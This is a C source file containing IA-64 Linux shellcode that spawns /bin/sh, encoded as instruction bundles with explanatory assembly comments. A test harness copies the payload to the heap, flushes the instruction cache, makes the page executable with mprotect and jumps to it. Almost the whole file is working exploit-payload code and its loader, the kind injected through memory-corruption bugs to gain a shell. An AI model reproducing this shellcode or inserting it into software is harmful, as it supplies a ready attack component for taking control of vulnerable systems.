#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <malloc.h>
#include <sys/mman.h>
unsigned long shellcode[] = {
  /* MLX
   ** alloc r34 = ar.pfs, 0, 3, 3, 0   // allocate vars for
   *  syscall
   ** movl r14 = 0x0168732f6e69622f    // aka
   *    "/bin/sh",0x01
   ** ;; */
  0x2f6e458006191005, 0x631132f1c0016873,
  /* MLX
   *    * xor r37 = r37, r37               // NULL
   *       * movl r17 = 0x48f017994897c001    // bundle[0]
   *          * ;; */
  0x9948a00f4a952805, 0x6602e0122048f017,
  /* MII
   *    * adds r15 = 0x1094, r37           // unfinished
   *    bundle[1]
   *       * or r22 = 0x08, r37               // part 1 of
   *       bundle[1]
   *          * dep r12 = r37, r12, 0, 8         // align
   *          stack ptr
   *             * ;; */
  0x416021214a507801, 0x4fdc625180405c94,
  /* MII
   *    * adds r35 = -40, r12              // circling
   *    mem addr 1, shellstr addr
   *       * adds r36 = -32, r12              //
   *       circling mem addr 2, args[0] addr
   *          * dep r15 = r22, r15, 56, 8        //
   *          patch bundle[1] (part 1)
   *             * ;; */
  0x0240233f19611801, 0x41dc7961e0467e33,
  /* MII
   *    * st8 [r36] = r35, 16              //
   *    args[0] = shellstring addr
   *       * adds r19 = -16, r12              //
   *       prepare branch addr: bundle[0] addr
   *          * or r23 = 0x42, r37
   *          // part 2 of bundle[1]
   *             * ;; */
  0x81301598488c8001, 0x80b92c22e0467e33,
  /* MII
   *    * st8 [r36] = r17, 8               //
   *    store bundle[0]
   *       * dep r14 = r37, r14, 56, 8
   *       // fix shellstring
   *          * dep r15 = r23, r15, 16, 8
   *          // patch bundle[1] (part 2)
   *             * ;; */
  0x28e0159848444001, 0x4bdc7971e020ee39,
  /* MMI
   *    * st8 [r35] = r14, 25
   *    // store shellstring
   *       * cmp.eq p2, p8 = r37, r37
   *       // prepare predicate for final
   *       branch.
   *          * mov b6 = r19
   *          // (+0x01) setup branch reg
   *             * ;; */
  0x282015984638c801, 0x07010930c0701095,
  /* MIB
   *    * st8 [r36] = r15, -16
   *    // store bundle[1]
   *       * adds r35 = -25, r35
   *       // correct string addr
   *          * (p2) br.cond.spnt.few
   *          b6         // (+0x01)
   *          branch to constr. bundle
   *             * ;; */
  0x3a301799483f8011, 0x0180016001467e8f,
};

/*
 ** the constructed bundle
 **
 ** MII
 ** st8 [r36] = r37, -8                // args[1] = NULL
 ** adds r15 = 1033, r37               // syscall number
 ** break.i 0x100000
 ** ;;
 **
 ** encoding is:
 ** bundle[0] = 0x48f017994897c001
 ** bundle[1] = 0x0800000000421094
 **/


/* Function pointer in IA-64 in a FAT pointer */
typedef struct _fp
{
  long addr;
  long gp;
}
IA64_FUNCTION;

static void flush_cache (void *addr, unsigned long len)
{
	void *end = (char *) addr + len;
	while (addr < end)
	{
    	asm volatile ("fc %0"::"r" (addr));
      	addr = (char *) addr + 32;
    }
  	asm volatile (";;sync.i;;srlz.i;;");
}

void Dummy (void)
{
  	return;
}

int main (int argc, char *argv[])
{
	void (*pSubroutine) (void);
	unsigned long *pBuffer1;
	IA64_FUNCTION *fp;
	IA64_FUNCTION newfp;
	
	pBuffer1 = (unsigned long *) malloc (256);
	memcpy (pBuffer1, (unsigned char *) shellcode, 256);
	flush_cache (pBuffer1, 256);
	   
	fp = (IA64_FUNCTION *) Dummy;
	newfp.gp = fp->gp;
	newfp.addr = (long) pBuffer1;
	
	pSubroutine = (void (*)(void)) &newfp;
	mprotect ((void *) ((long) pBuffer1 & ~(getpagesize () - 1)),
			getpagesize (), PROT_READ | PROT_WRITE | PROT_EXEC);
	
	(*pSubroutine) ();
	return 0;
}
